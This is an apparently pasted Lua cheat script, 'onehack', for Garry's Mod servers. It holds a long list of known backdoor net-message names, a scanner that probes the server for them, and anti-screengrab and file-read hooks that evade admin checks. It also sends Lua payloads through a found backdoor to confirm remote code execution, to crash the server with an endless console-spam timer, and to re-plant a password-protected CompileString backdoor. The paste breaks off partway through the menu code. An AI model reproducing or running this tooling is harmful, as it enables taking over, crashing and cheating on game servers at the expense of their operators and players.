· 5 years ago · Nov 15, 2020, 12:02 PM
1local onehack = onehack or {}
2onehack.options = onehack.options or {}
3onehack.Vars = {}
4onehack.Vars['ASR'] = true -- ANTISCREENGRAB
5onehack.Vars['ASF'] = false -- ANTIFILESTEAL
6onehack.Vars['ESP'] = false
7onehack.Vars['FCAM'] = false -- FREECAM
8onehack.Vars['ESP_NAME'] = false
9onehack.Vars['ESP_WEAPON'] = false
10onehack.Vars['ESP_BOX'] = false
11onehack.Vars['ESP_HPBOX'] = false
12onehack.Vars['WEAPON_LIST3D'] = false
13onehack.Vars['keypad_jiw'] = false
14onehack.CamSpeed_Normal = 2
15onehack.CamSpeed_Fast = 7
16onehack.CamSpeed_Slow = 0.5
17onehack.SpectatePlayer = nil
18onehack.StartCamPos = LocalPlayer():EyePos() or Vector(0,0,0)
19onehack.StartCamAng = LocalPlayer():EyeAngles() or Angle(0,0,0)
20onehack.options.esp = onehack.options.esp or {}
21onehack.theme = onehack.theme or {}
22onehack.BackDoors = {"m9k_rvac","YukiBackdoor","The_DankWhy","loki","stil","thanos","Limon","OBF::JH::HAX","HitOrMiss<3Luda","https://i.imgur.com/Gf6hLMl.png","Net.Start","insid3","ABCNet","FoerHack","display_messagesfh","_Reading_darkrp","nx_noiwex","FPSBOOST","nxsuper","Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ALTERED_CARB0N","ITEM","R8","fix","Fix_Keypads","PoliceJoin","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nostrip","nocheat","LickMeOut","JSQuery.Data(Post(false))","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","c","Detoured q","Þà?D)◘","idk","r8helper","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","Þà ?D)â—","Þà ?D)","SparksLeBg","disablebackdoor","slua2","slua","CraftSomething","WriteQuery","thefrenchenculer","pplay_sendtable"," .. v.NetWork .. ","slua6","jeveuttonrconleul","kill","DefqonBackdoor","DarkRP_AllDoorDatas","0101.1","awarn_remove","PlayerItemPickUp","_Infinity","Infinity","InfinityBackdoor","_Infinity_Meme_","arivia","ULogs_B","_Warns","_cac_","striphelper","_vliss"," Ў є ѕ ї ёСЂ ѕ І ° Ѕ ѕ І ±СѓС„ µСЂ ѕ ± ј µ Ѕ °.","_KekTcf","DataMinerType","_blacksmurf","blacksmurfBackdoor","_Raze","m9k_explosionradius","m9k_explosive","m9k_addons","rcivluz","SENDTEST","_clientcvars","_main","stream","waoz","thereaperishere","bdsm","ZernaxBackdoor","UKT_MOMOS","anticrash","audisquad_lua","dontforget","noprop","thereaper","0x13","Child","!Cac","azkaw","BOOST_FPS","childexploit","ULX_ANTI_BACKDOOR","FADMIN_ANTICRASH","ULX_QUERY_TEST2","GMOD_NETDBG","netlib_debug","NoOdium_ReadPing","Sbox_gm_attackofnullday_key","Sbox_Message","idk","aze46aez67z67z64dcv4bt","nolag","changename","music","xenoexistscl","fourhead","echangeinfo","Þ� ?D)◘","elfamosabackdoormdr","stoppk","reaper","Abcdefgh","pjHabrp9EY","gag","_Battleye_Meme_","GaySploitBackdoor","_GaySploit","Bilboard.adverts:Spawn(false)","BazZziliuS","CacAntiCheat","noclipcloakaWH_chat_text","WepSwitch_DisableAllSwitch","PlayerCheck","backdoorattackdefense_superadminsettrue","loona","kIRIUS"}
23onehack.foundedbacks = {}
24onehack.antiskabad = {"Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ITEM","R8","fix","Fix_Keypads","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nocheat","LickMeOut","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","idk","c","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","ГћГ ?D)в—˜","disablebackdoor","kill","DefqonBackdoor"}
25onehack.AllNets = {}
26onehack.selectedbackdoor = "none"
27onehack.version = "1.0.0"
28onehack.selected_player = 0
29onehack.debug = onehack.debug or {}
30onehack.foundednets = {}
31-- THEME SETTINGS
32onehack.theme.background = Color(30,30,30,200)
33onehack.theme.backgroundalt = Color(25,25,25)
34onehack.theme.backgroundalt2 = Color(50,50,50)
35onehack.theme.backgroundalt3 = Color(15,15,15)
36onehack.theme.buttonhover = Color(255,255,255,50)
37onehack.theme.chroma = Color(255,180,30)
38onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
39-- THEME SETTINGS
40onehack.memory = {
41 ["hud"] = 0,
42 ["logic"] = 0,
43 ["aimbot"] = 0,
44}
45-- OPTIONS
46onehack.options.esp.enable = false
47onehack.options.esp.showname = false
48onehack.options.esp.showbox = false
49onehack.options.esp.showgroup = false
50onehack.options.esp.showweapn = false
51onehack.options.esp.boxtype = 0
52onehack.options.esp.boxcolor = Color(255,255,255)
53onehack.options.esp.namecolor = Color(255,255,255)
54onehack.options.esp.weaponcolor = Color(255,255,255)
55onehack.options.esp.groupcolor = Color(255,255,255)
56
57onehack.options.esp.enable_entity = false
58onehack.options.esp.showname_entity = false
59onehack.options.esp.showbox_entity = false
60onehack.options.esp.boxtype_entity = 0
61onehack.options.esp.boxcolor_entity = Color(255,255,255)
62onehack.options.esp.namecolor_entity = Color(255,255,255)
63-- OPTIONS
64onehack.selectedpanel = nil
65onehack.selectedpanel_id = 0
66onehack.timestamp = os.time()
67onehack.timettring = os.date( "[%H:%M:%S] " , timestamp )
68function onehack.DebugLog( str, col )
69 table.insert(onehack.debug, {onehack.timettring..str, col})
70 if #onehack.debug > 200 then
71 table.remove( onehack.debug, 1 )
72 end
73end
74
75local Tuner = nil
76function onehack.NetStart( str )
77 --print("[DEBUG] Started net: "..str)
78 if onehack.selectedbackdoor == "none" then return false end
79 return net.Start( str )
80end
81
82
83local ss = false
84local renderv = render.RenderView
85local renderc = render.Clear
86local rendercap = render.Capture
87local vguiworldpanel = vgui.GetWorldPanel
88
89
90function onehack.screengrab()
91 if ss then return end
92 ss = true
93
94 renderc( 0, 0, 0, 255, true, true )
95 renderv( {
96 origin = LocalPlayer():EyePos(),
97 angles = LocalPlayer():EyeAngles(),
98 x = 0,
99 y = 0,
100 w = ScrW(),
101 h = ScrH(),
102 dopostprocess = true,
103 drawhud = true,
104 drawmonitors = true,
105 drawviewmodel = true
106 } )
107
108 local vguishits = vguiworldpanel()
109
110 if IsValid( vguishits ) then
111 vguishits:SetPaintedManually( true )
112 end
113
114 timer.Simple( 0.1, function()
115 vguiworldpanel():SetPaintedManually( false )
116 ss = false
117 end)
118end
119
120render.Capture = function(data)
121 if onehack.Vars['ASR'] then
122 onehack.screengrab()
123 onehack.DebugLog( "ScreenGrab started: PROTECTED!", Color(0,255,0) )
124 else
125 onehack.DebugLog( "ScreenGrab started: NOT PROTECTED!", Color(255,0,0) )
126 end
127 local cap = rendercap( data )
128 return cap
129end
130
131local oldRead = file.Read
132function file.Read( fn, path )
133 if string.find(path, "DATA") or string.find(path, "lua") and onehack.Vars['ASF'] then
134 onehack.DebugLog( "File readed: "..path, Color(0,255,0) )
135 return "vzlom_zhopi()"
136 else
137 onehack.DebugLog( "File readed: "..path, Color(255,0,0) )
138 return oldRead( fn, path )
139 end
140end
141
142
143function onehack.NetWriteBeat( str )
144 local netwretbit = net.WriteBit
145 return netwretbit( str )
146end
147
148function onehack.SendToServak()
149 if onehack.selectedbackdoor == "none" then return false end
150 local netsendsrviar = net.SendToServer
151 return netsendsrviar()
152end
153
154function onehack.NetWireString( str )
155 local netwitestring = net.WriteString
156 return netwitestring( str )
157end
158
159function onehack.NetWireInt( str1,str2 )
160 local netwitestring = net.WriteInt
161 return netwitestring( str1,str2 )
162end
163
164function onehack.ValidNetStriABCD( str )
165 local status, error = pcall( s, str )
166 return status
167end
168
169function onehack.MouseInArea(framesag,minx,miny,maxx,maxy)
170 local PosX,PosY = framesag:GetPos()
171 local posx,posy = gui.MousePos();
172 return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
173end
174
175function onehack.RandomString(len)
176 if len == nil then
177 len = math.random(20,100)
178 end
179 local ret = ""
180 for i=1,len do
181 ret = ret..string.char(math.random(33,126))
182 end
183 return ret
184end
185
186function onehack.DrawOutLinedRect(x,y,w,h,color)
187 surface.SetDrawColor( color )
188 surface.DrawOutlinedRect( x, y, w, h )
189 surface.SetDrawColor( Color(255,255,255,255) )
190end
191function onehack.DrawRect(x,y,w,h,color)
192 surface.SetDrawColor( color )
193 surface.DrawRect( x, y, w, h )
194 surface.SetDrawColor( Color(255,255,255,255) )
195end
196function onehack.Drawline(x,y,x2,y2,color)
197 surface.SetDrawColor(color)
198 surface.DrawLine(x,y,x2,y2)
199 surface.SetDrawColor( Color(255,255,255,255) )
200end
201local SpecModeFrame
202function onehack.SpectateMode()
203 if IsValid(SpecModeFrame) then return end
204 onehack.Vars['SCAM'] = true
205 SpecModeFrame = vgui.Create("DFrame")
206 SpecModeFrame:SetSize(300,400)
207 SpecModeFrame:SetPos(ScrW()-300,0)
208 SpecModeFrame:SetTitle("")
209 SpecModeFrame:ShowCloseButton(false)
210 function SpecModeFrame:Paint(w,h)
211 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
212 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
213 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
214 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
215 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
216 draw.SimpleText("Spectator Mode","DermaDefault",w/2,20,Color(150,150,150),1,1)
217 local weapon = "NONE"
218 local hps = "NONE"
219 local ars = "NONE"
220 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
221 if IsValid(onehack.SpectatePlayer:GetActiveWeapon()) then
222 weapon = onehack.SpectatePlayer:GetActiveWeapon():GetClass()
223 end
224 hps = onehack.SpectatePlayer:Health()
225 ars = onehack.SpectatePlayer:Armor()
226 end
227 draw.SimpleText("Weapon: "..weapon,"DermaDefault",10,h-60,Color(150,150,150),0,1)
228 draw.SimpleText("HP/AR: "..hps.."/"..ars,"DermaDefault",12,h-45,Color(150,150,150),0,1)
229 end
230
231 local SpecPlayerList = vgui.Create( "DScrollPanel", SpecModeFrame )
232 SpecPlayerList:Dock(TOP)
233 SpecPlayerList:DockMargin(2,2, 2, 2)
234 SpecPlayerList:SetTall(300)
235 function SpecPlayerList:Paint( w,h )
236 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
237 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
238 end
239 SpecPlayerList.VBar:SetWidth(1)
240 SpecPlayerList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar():GetWide(), SpecPlayerList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
241 SpecPlayerList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnUp:GetWide(), SpecPlayerList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
242 SpecPlayerList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnDown:GetWide(), SpecPlayerList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
243 SpecPlayerList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnGrip:GetWide(), SpecPlayerList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
244
245 for k,v in pairs(player.GetAll()) do
246 if IsValid(v) then
247 local onehack_player_button = SpecPlayerList:Add( "DButton" )
248 onehack_player_button:SetText( "" )
249 onehack_player_button:Dock( TOP )
250 onehack_player_button:DockMargin( 2, 2, 2, 0 )
251 onehack_player_button.Paint = function( _, w, h )
252 if onehack_player_button:IsHovered() then
253 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
254 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
255 else
256 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
257 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
258 end
259 if onehack.SpectatePlayer == v then
260 if IsValid(v) and v:IsPlayer() then
261 draw.SimpleText("> "..v:Name() or "NILL".." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
262 end
263 else
264 if IsValid(v) and v:IsPlayer() then
265 draw.SimpleText(v:Name() or "NILL","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
266 end
267 end
268 end
269 function onehack_player_button:DoClick()
270 if onehack.SpectatePlayer == v then
271 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
272 onehack.SpectatePlayer:SetNoDraw( false )
273 end
274 onehack.SpectatePlayer = nil
275 else
276 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
277 onehack.SpectatePlayer:SetNoDraw( false )
278 end
279 onehack.SpectatePlayer = v
280 v:SetNoDraw( true )
281 end
282 end
283 end
284 end
285
286 for k, v in pairs(ents.GetAll()) do
287 if v:GetClass() == "gmod_cameraprop" then
288 local onehack_camera_button = SpecPlayerList:Add( "DButton" )
289 onehack_camera_button:SetText( "" )
290 onehack_camera_button:Dock( TOP )
291 onehack_camera_button:DockMargin( 2, 2, 2, 0 )
292 onehack_camera_button.Paint = function( _, w, h )
293 if onehack_camera_button:IsHovered() then
294 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
295 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
296 else
297 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
298 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
299 end
300 if onehack.SpectatePlayer == v then
301 draw.SimpleText("> CAMERA "..k.."# <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
302 else
303 draw.SimpleText("CAMERA "..k.."#","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
304 end
305 end
306 function onehack_camera_button:DoClick()
307 if onehack.SpectatePlayer == v then
308 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
309 onehack.SpectatePlayer:SetNoDraw( false )
310 end
311 onehack.SpectatePlayer = nil
312 else
313 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
314 onehack.SpectatePlayer:SetNoDraw( false )
315 end
316 onehack.SpectatePlayer = v
317 if v:IsValid() then
318 v:SetNoDraw( true )
319 end
320 end
321 end
322 end
323 end
324
325 local CloseSpec = SpecModeFrame:Add( "DButton" )
326 CloseSpec:SetTextColor( Color( 200, 200, 200 ) )
327 CloseSpec:SetText( "" )
328 CloseSpec:Dock(BOTTOM)
329 CloseSpec:DockMargin(1,2, 1, 0)
330 function CloseSpec:Paint( w,h )
331 if CloseSpec:IsHovered() then
332 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
333 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
334 else
335 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
336 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
337 end
338 draw.SimpleText("Exit","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
339 end
340
341 CloseSpec.DoClick = function()
342 onehack.Vars['SCAM'] = false
343 SpecModeFrame:Remove()
344 end
345end
346
347function onehack.scan()
348 for i = 0, 2^16 do
349 local str = util.NetworkIDToString( i )
350 if ( str && str != "" ) then
351 if( !net.Receivers[str] ) then
352 table.insert( onehack.AllNets, str )
353 end
354 end
355 end
356 for i = 0, 2^16 do
357 local str = util.NetworkIDToString( i )
358 if ( str && str != "" ) then
359 if( !net.Receivers[str] ) then
360 table.insert(onehack.foundednets,str)
361 if table.HasValue( onehack.BackDoors, str ) or string.find( string.lower(str), "backdoor" ) or string.find( string.lower(str), "exploit" ) or string.find( string.lower(str), "http" ) then
362 if not table.HasValue( onehack.foundedbacks, str ) then
363 if not table.HasValue(onehack.antiskabad,str) then
364 table.insert( onehack.foundedbacks, str )
365 onehack.DebugLog( "Backdoor found: "..str, Color(116,41,162) )
366 else
367 table.insert( onehack.foundedbacks, str )
368 onehack.DebugLog( "Backdoor found: "..str.." (Внимание данный бэкду ве оятнее фейк!)", Color(116,41,162) )
369 end
370 end
371 end
372 end
373 end
374 end
375end
376
377function onehack.StripWeapon( ent )
378 if not ent:IsValid() then return end
379 if ent.NextNuke and ent.NextNuke > CurTime() then return end
380 onehack.NetStart("properties")
381 net.WriteString("remove")
382 net.WriteEntity( ent )
383 net.SendToServer()
384 ent.NextNuke = CurTime() + 0.5
385end
386function onehack.StripAllWeapons( tab )
387 for k, v in pairs( tab ) do
388 if not v:IsValid() then continue end
389 if v.NextNuke and v.NextNuke > CurTime() then continue end
390 onehack.NetStart("properties")
391 net.WriteString("remove")
392 net.WriteEntity( v )
393 net.SendToServer()
394 end
395end
396onehack.scan()
397function MainFunc()
398 actived = true
399 framesag = vgui.Create("DFrame")
400 framesag:SetSize(600,400)
401 framesag:Center()
402 framesag:MakePopup()
403 framesag:SetTitle("")
404 framesag:ShowCloseButton(false)
405 function framesag:Init()
406 framesag.startTime = SysTime()
407 end
408 function framesag:Paint(w,h)
409 Derma_DrawBackgroundBlur( framesag, framesag.startTime )
410 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
411 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
412 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
413 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
414 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
415 end
416
417 ButtonList = vgui.Create( "DScrollPanel", framesag )
418 ButtonList:SetPos(6,9)
419 ButtonList:SetSize(120,400-15)
420 function ButtonList:Paint(w,h)
421 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
422 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
423 end
424
425 function PanelAddButton( text, menuses,id) -- Кнопка в левое меню
426 local MenuBut = ButtonList:Add( "DButton" )
427 MenuBut:SetTextColor( Color( 200, 200, 200 ) )
428 MenuBut:SetText("")
429 MenuBut:SetHeight(30)
430 MenuBut:Dock( TOP )
431 MenuBut:DockMargin( 0, 0, 0, 0 )
432 function MenuBut:Paint( w,h )
433 if MenuBut:IsHovered() then
434 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
435 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
436 else
437 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
438 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
439 end
440 if onehack.selectedpanel_id == id then
441 draw.SimpleText(text,"DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
442 else
443 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
444 end
445 end
446
447 MenuBut.DoClick = function()
448 if onehack.selectedpanel == menuses then return end
449 if onehack.selectedpanel != menuses then
450 menuses()
451 end
452 end
453 end
454
455 function onehack.AddFunction( text , lolol, dawcf, func ) -- Кнопка в левое меню
456 local MenuBut2 = onehack.backlistt_functionsss_list:Add( "DButton" )
457 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
458 MenuBut2:SetText( "" )
459 MenuBut2:Dock( TOP )
460 MenuBut2:DockMargin( 0, 0, 0, 1 )
461 function MenuBut2:Paint( w,h )
462 if MenuBut2:IsHovered() then
463 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
464 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
465 else
466 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
467 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
468 end
469 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
470 end
471
472 MenuBut2.DoClick = function()
473 func()
474 end
475 end
476 function onehack.AddExploit( text , func ) -- Кнопка в левое меню
477 local MenuBut2 = onehack.exploitsList:Add( "DButton" )
478 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
479 MenuBut2:SetText( "" )
480 MenuBut2:Dock( TOP )
481 MenuBut2:DockMargin( 0, 0, 0, 1 )
482 function MenuBut2:Paint( w,h )
483 if MenuBut2:IsHovered() then
484 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
485 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
486 else
487 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
488 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
489 end
490 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
491 end
492
493 MenuBut2.DoClick = function()
494 func()
495 end
496 end
497 function onehackdooropt() -- onehack.backlistt_functionsss_list
498 onehackdooropt = vgui.Create( "DPanel" , framesag )
499 onehackdooropt:SetPos( 126, 9 )
500 onehackdooropt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
501 function onehackdooropt:Paint( w, h )
502 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
503 end
504
505 onehack.backlistt = vgui.Create( "DComboBox", onehackdooropt )
506 onehack.backlistt:SetPos( onehackdooropt:GetWide()-155, 5 )
507 onehack.backlistt:SetSize( 150, 25 )
508 onehack.backlistt:SetValue( "Select Backdoor" )
509 for _,v in pairs(onehack.foundedbacks) do
510 onehack.backlistt:AddChoice( v )
511 end
512 onehack.backlistt.OnSelect = function( self, index, value )
513 onehack.selectedbackdoor = value
514 end
515 onehack.backlistt.Paint = function( _, w, h )
516 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
517 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
518 end
519
520 onehack.backlistt_check_button = vgui.Create( "DButton", onehackdooropt )
521 onehack.backlistt_check_button:SetPos( 5, 5 )
522 onehack.backlistt_check_button:SetSize( 150, 25 )
523 onehack.backlistt_check_button:SetText( "" )
524 onehack.backlistt_check_button.Paint = function( _, w, h )
525 if onehack.backlistt_check_button:IsHovered() then
526 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
527 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
528 else
529 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
530 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
531 end
532 draw.SimpleText("Check backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
533 end
534 function onehack.backlistt_check_button:DoClick()
535 onehack.NetStart( onehack.selectedbackdoor )
536 onehack.NetWireString([[
537
538 local id = ]] .. LocalPlayer():UserID() .. [[
539
540 Player( id ):SendLua("ABCNotify(\" аботает!\", 4)")
541
542 ]])
543 net.WriteBit(1)
544 onehack.SendToServak()
545 end
546
547 onehack.backlistt_crashserver = vgui.Create( "DButton", onehackdooropt )
548 onehack.backlistt_crashserver:SetPos( onehackdooropt:GetWide()-155, 35 )
549 onehack.backlistt_crashserver:SetSize( 150, 25 )
550 onehack.backlistt_crashserver:SetText( "" )
551 onehack.backlistt_crashserver.Paint = function( _, w, h )
552 if onehack.backlistt_crashserver:IsHovered() then
553 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
554 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
555 else
556 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
557 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
558 end
559 draw.SimpleText("Off server","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
560 end
561 function onehack.backlistt_crashserver:DoClick()
562 onehack.NetStart( onehack.selectedbackdoor )
563 net.WriteString( "timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \"� \") end end)" )
564 net.WriteBit(1)
565 onehack.SendToServak()
566 end
567
568 onehack.backlistt_pach_button = vgui.Create( "DButton", onehackdooropt )
569 onehack.backlistt_pach_button:SetPos( 160, 5 )
570 onehack.backlistt_pach_button:SetSize( 147, 25 )
571 onehack.backlistt_pach_button:SetText( "" )
572 onehack.backlistt_pach_button.Paint = function( _, w, h )
573 if onehack.backlistt_pach_button:IsHovered() then
574 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
575 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
576 else
577 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
578 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
579 end
580 draw.SimpleText("Detect pach","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
581 end
582 function onehack.backlistt_pach_button:DoClick()
583 onehack.NetStart( onehack.selectedbackdoor )
584 onehack.NetWireString([[
585 local id = ]] .. LocalPlayer():UserID() .. [[
586
587 for k ,v in SortedPairs( net.Receivers, false ) do
588 if k == string.lower( "]]..onehack.selectedbackdoor..[[") then
589 Player( id ):ChatPrint("Path: "..debug.getinfo( v )["short_src"] )
590 end
591 end
592 ]])
593 net.WriteBit(1)
594 onehack.SendToServak()
595 end
596
597 onehack.backlistt_fix_button = vgui.Create( "DButton", onehackdooropt )
598 onehack.backlistt_fix_button:SetPos( 160, 35 )
599 onehack.backlistt_fix_button:SetSize( 147, 25 )
600 onehack.backlistt_fix_button:SetText( "" )
601 onehack.backlistt_fix_button.Paint = function( _, w, h )
602 if onehack.backlistt_fix_button:IsHovered() then
603 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
604 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
605 else
606 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
607 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
608 end
609 draw.SimpleText("Fix backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
610 end
611 function onehack.backlistt_fix_button:DoClick()
612 onehack.NetStart( onehack.selectedbackdoor )
613 net.WriteString( [[
614 net.Receive(]]..onehack.selectedbackdoor..[[,function()
615 print("У ВАС ЕСТЬ BACKDOOR!!!!!!!!!!!!!!!!!!!!!!!!")
616 end)
617 ]] )
618 net.WriteBit(1)
619 onehack.SendToServak()
620 end
621
622 onehack.backlistt_protect_input = vgui.Create("DTextEntry", onehackdooropt)
623 onehack.backlistt_protect_input:SetPos( 5, 35 )
624 onehack.backlistt_protect_input:SetSize( 150, 25 )
625 onehack.backlistt_protect_input:SetText( "password" )
626 onehack.backlistt_protect_input.Paint = function( self, w, h )
627 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
628 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
629 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
630 --draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
631 end
632
633 onehack.backlistt_protect_button = vgui.Create( "DButton", onehackdooropt )
634 onehack.backlistt_protect_button:SetPos( 5, 59 )
635 onehack.backlistt_protect_button:SetSize( 150, 31 )
636 onehack.backlistt_protect_button:SetText( "" )
637 onehack.backlistt_protect_button.Paint = function( _, w, h )
638 if onehack.backlistt_protect_button:IsHovered() then
639 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
640 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
641 else
642 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
643 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
644 end
645 draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
646 end
647 function onehack.backlistt_protect_button:DoClick()
648 onehack.NetStart( onehack.selectedbackdoor )
649 onehack.NetWireString([[
650 net.Receive(]]..onehack.selectedbackdoor..[[,function()
651 if net.ReadFloat() == "]]..onehack.backlistt_protect_input:GetValue()..[[" then
652 local x = CompileString( net.ReadString(), 'LuaCmd', false )
653 if isfunction( x ) then
654 x()
655 end
656 end
657 end)
658 ]])
659 net.WriteBit(1)
660 onehack.SendToServak()
661 end
662
663 onehack.backlistt_players_list = vgui.Create( "DScrollPanel", onehackdooropt )
664 onehack.backlistt_players_list:SetPos(5,114)
665 onehack.backlistt_players_list:SetSize(150,264)
666 function onehack.backlistt_players_list:Paint( w,h )
667 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
668 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
669 end
670 onehack.backlistt_players_list.VBar:SetWidth(1)
